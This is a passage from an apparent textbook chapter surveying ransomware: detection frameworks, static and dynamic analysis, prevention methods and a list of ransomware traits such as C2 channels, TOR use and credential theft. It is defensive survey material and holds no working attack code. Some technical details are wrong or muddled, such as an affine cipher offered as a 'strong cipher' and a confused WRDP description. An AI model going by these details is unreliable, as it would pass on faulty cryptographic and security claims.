16.4.6 A New Static-Based Framework for Ransomware 
Detection

This framework is used to detect the various features from files such as 
API functions rules (A), keywords (K), cryptography signatures (C) and 
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extensions (E). If the match is found with the newly extracted features, 
then some logical operations are performed on those rules. The logical 
operations output is classified within the various confidence levels such as 
“Critical”, “High”, “Moderate” or “Low” [16].  

I. Critical alert: This alert occurs when the rules for API func-
tions (A), Keywords (K) and Extensions (E) match. The crit-
ical alert shows that it is highly likely that the application is a 
ransomware. 

II. High alert: There are various cases of high alert: 
 API functions (A) and laws for Keywords (K). 
 Laws for API functions (A) and extensions (E). 
 The laws of Cryptography (C) and Keywords (K). 
III. Moderate alert: If the roles of Cryptography (C) and API (A) 

are balanced, then the application could be a ransomware. 
IV. Low alert: In this alert, samples are matched with the exten-

sions (E) rules. 

16.4.7 White List-Based Ransomware Real-Time Detection 
Prevention (WRDP)

It works on three principles: live detection of ransomware operations, off-
line detection of the ransomware and detecting the new ransomwares if 
they are not yet analyzed by trusted parties [22]. Three system compo-
nents, File Use Management Manager (FUMM), File Access Control 
Manager (FACM) and Access Control DB, are managed by WRDP. The 
I/O manager sends the request packet to the File System Driver until the 
user attempts to open or edit the file (FSD). FSD asks the cache manager 
to grant the user an operation if the file is present in the cache. If the file is 
not present in the cache, it is checked in the virtual memory area and then 
it is displayed to the user [12].  

16.5 Analysis of Ransomware 

There are two ways to analyze ransomware (Figure 16.4), i.e., Static Analysis 
and Dynamic Analysis. To identify the depth of the attack analysis is done 
[13].
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16.5.1 Static Analysis

Static analysis is the code analysis without running an application. Static 
analysis is performed on the execution code. The Portable Executable (PE) 
file is read without its execution. Header analysis is performed on the code 
to identify the static properties of ransomware. On the analysis of the code 
of the application, it can identify whether the file is malicious or not. The 
main aim behind static analysis is to check whether there are any windows 
executables present [25]. Extracting some strings like IP address, Error 
messages, etc., will provide some more information about the code. Static 
analysis is like reading a map for directions on where to go. Following this 
map will let the victim capture notes on some part which might become 
useful for future analysis or detecting the ransomwares [37].  

16.5.2 Dynamic Analysis

Dynamic analysis is useful to extract the behavior of ransomware for detec-
tion. In Dynamic analysis, you can execute the code and trace what it does 
and how it affects the system. The method of evaluating a code by executing 
it and watching its behavior is dynamic analysis [25]. These behaviors can 
be detected at different levels, from the lowest possible level (the binary code 
itself) to the entire system (e.g., changes made to the registry or file system). 
The aim of dynamic analysis is to expose the executable’s malicious behav-
ior while it is running, without sacrificing the analysis platform’s protection. 
By putting the system on high risk, the behavior of real malware is analyzed 
[34]. It is recommended to execute the malware on Virtual Machines which 
are not connected to the internet, to avoid the risk of infection. So, it will 
become more beneficial if you execute malware on virtual machines or ded-
icated systems which are not connected to the internet [27, 10].  

Static Analysis

Dynamic Analysis

Ransomeware Analysis

Figure 16.4 Ransomware analysis.
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16.6 Prevention Strategies 

16.6.1 Access Control

This technique uses “Anti-Botics” technique which is an authentication- 
based access control technique. “Anti-Botics” technique has three compo-
nents, i.e., Policy Enforcement Driver, Policy Specification Interface and 
Challenge-Response Generator. The Policy Enforcement Driver performs 
different types of file modifications. For file modifications a security is pro-
vided using CAPTCHA. The next component is the Policy Specification 
Interface, which configures the system policies through administrators. 
The third component is the Challenge-Response Generator which con-
trols the challenges generated. It detects the malicious content using 
CAPTCHA, GUI [22]. 

16.6.2 Recovery After Infection

Once the system is infected, it recovers the system through different ways. 
For example, it can secure email by consistently applying security patches 
because emails are a major source of ransomware [22]. 

16.6.3 Trapping Attacker

R-Locker technique is used to detect crypto ransomware actions. Trapping 
attacker technique automatically launches the steps which will detect the 
ransomware. However, the drawback of using this step is that it considers 
only some part of the file system [22].  

16.7 Ransomware Traits Analysis 

Many variants of ransomware have been discovered in the last few decades. 
Various traits are identified, and ransomwares are analyzed against them. 
Table 16.1 shows a sample snippet which includes the ransomware vari-
ants, their identification date, and various traits [7]. Various traits consid-
ered are:  

• Encryption: Instead of locking the file for access, user file 
contents are encrypted. 

 The encryption key with symmetric algorithm is denoted 
by C = Ek (M) and M = DkC, where M denotes message 
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(plaintext), C denotes cipher text, E is encryption, D is 
decryption, and k is a shared key [38, 39].

 The encryption key with asymmetric algorithm is denoted 
by C = Epu.k (M) and M = Dpr.k (C), where pr.k and pu.k are 
private and public keys respectively [54].

• Strong Cipher: It indicates use of secure and well imple-
mented cipher. 

 E (x) = (ax + b) mod m
 Where modulus m: size of the alphabet,
 a and b: key of the cipher,
 a must be chosen such that a and m are co-prime [54].
• Public key cryptography: Allows ransomware to encrypt 

contains using public key. The attacker contains the main 
hold of the key and the data is encrypted using this key 
only.

• Let k ∈ N be a security parameter. An encryption scheme is 
defined by the following spaces (all depending on the secu-
rity parameter k) and algorithms.

• Mk is the space of all possible message;
• PKk is the space of all possible public keys;
• SKk is the space of all possible private keys;
• Ck is the space of all possible ciphertexts;
• KeyGen a randomized algorithm that takes the security 

parameter k, runs in expected polynomial-time (i.e., 0(ke) 
bit operations for some constant c ∈ N) and outputs a public 
key pk ∈  PKk and a private key sk ∈ SKk;

• Encrypt a randomized algorithm that takes as input m ∈ 
Mk and pk, runs in expected polynomial-time (i.e., 0(ke) bit 
operations for some constant c ∈ N and outputs a cipher text 
c ∈ Ck;

• Decrypt an algorithm that takes c ∈ Ck  and sk, runs in 
polynomial-time and outputs either m ∈ Mk or the invalid 
cipher text.

• It is required that Decrypt(Encrypt(m, pk),sk) = m
• If (pk, sk) is a matching key pair. Typically we require that 

the fastest known attack on the system requires at least 2k  bit 
operations [36, 40, 54].

• Autonomy: Ransomware starts destruction autonomously 
without contacting any command-and-control server. The 
functions of ransomwares which require to communicate 
with command-and-control server can be blocked.
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• DGA: Domain generation algorithms makes the host 
name of the command-and-control servers unpredictable 
and it is only known to the attackers.  Domain Generation 
Algorithms [DGA] make it more difficult to take down the 
C2 server. With the DGA, the host name of the server is 
unpredictable, known only to the attacker.

• Hidden TOR: Attackers make use of TOR to anonymize and 
secure their servers and themselves. It provides high levels of 
security and anonymity to attackers and their servers.

• Hidden I2P: Attacker make use of Invisible Internet Project 
network for secret communication.  

• HiddenClient: Built-in TOR/I2P is the anonymous built-in 
client. It makes the detection process harder.

• Secure Keys: The keys are cryptographically secured. 
Different keys with longer length are utilized to make the 
cracking the encrypted content impossible. 

• ScanNetDrv:  It also scans all the network drives. All net-
work drives including backups are scanned and encrypted. 

• Secure Erase: It stands for securely erases encryption. Files 
encrypted by users are deleted. Also, files can be recovered 
from shadow copies using recovery software. 

• PK DL: It stands for Public Key Download. Victims may 
not have access to the hidden key, rendering it difficult to 
decrypt. 

• DH-ECC: Diffie-Hellman Elliptic Curve Cryptography 
algorithm is used to generate keys. Use of this algorithm to 
generate fast and secure public keys. 

• C2 Server: Command and control server to effectively com-
municate with victim’s machine. 

• C2 Hidden: Making use of anonymous network to commu-
nicate with command-and-control server. 

• PayProcOK: Good Payment Protocols are used for pay-
ments. So, no fake payments can be done. 

• Pay Provider: It uses semi-anonymous payment authority. 
The attackers can receive their cash without leaving a “paper 
trail” by using secure anonymous payments.

• CryptCash: Uses cryptocurrencies like Bitcoin to make 
secure and erasable transactions. 

• StealCred: Steals other personal information in addition 
to ransom requests, such as login details and banking 
credentials. 
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• StealProc: It Uses the infected machine to perform comput-
ing or network operations beyond the demand for ransom. 
The victimized computer is used to execute malicious activ-
ities in addition to ransom demand.  

16.8 Research Directions

Ransomware is a malicious software that infects the system once installed 
on it. Once ransomware is installed, it is spread through different ways 
such as spam emails. In GandCrab ransomware, if the user analyzes the 
malware in depth, the RC4 algorithm is used to generate the keys. Traffic is 
encrypted using a hardcoded RC4 key. Once you get hold of this key, and 
if you also have traffic logs to record the C&C server check-in, you have 
everything you need to decrypt your files. Unfortunately, it’s very difficult 
if the average user doesn’t keep traffic logs. Basic static analysis can confirm 
whether a file is malicious, provide information about its functionality, and 
sometimes provide information that will allow you to produce simple net-
work signatures.

16.9 Conclusion 

Ransomware is the most dangerous type of attack. It has become a part 
of our daily lives now. So, one should pursue certain competent methods 
of using the internet in order to deal with it. There are different forms of 
ransomware and there is a way of spreading each ransomware. There are 
several ways to deal with it if the ransomware is found on the device. If the 
user has sufficient technical expertise, then it is possible to find the decryp-
tion key by examining some ransomware files. A comprehensive survey of 
different ransomware techniques is seen in this analysis. The ransomwares 
are classified into three main categories, Locker ransomware, Crypto ran-
somware, and MAC ransomware. To define the parameters present and 
to know how each function is implemented in the specific ransomware, 
comparative analysis is performed on the ransomware variants.  
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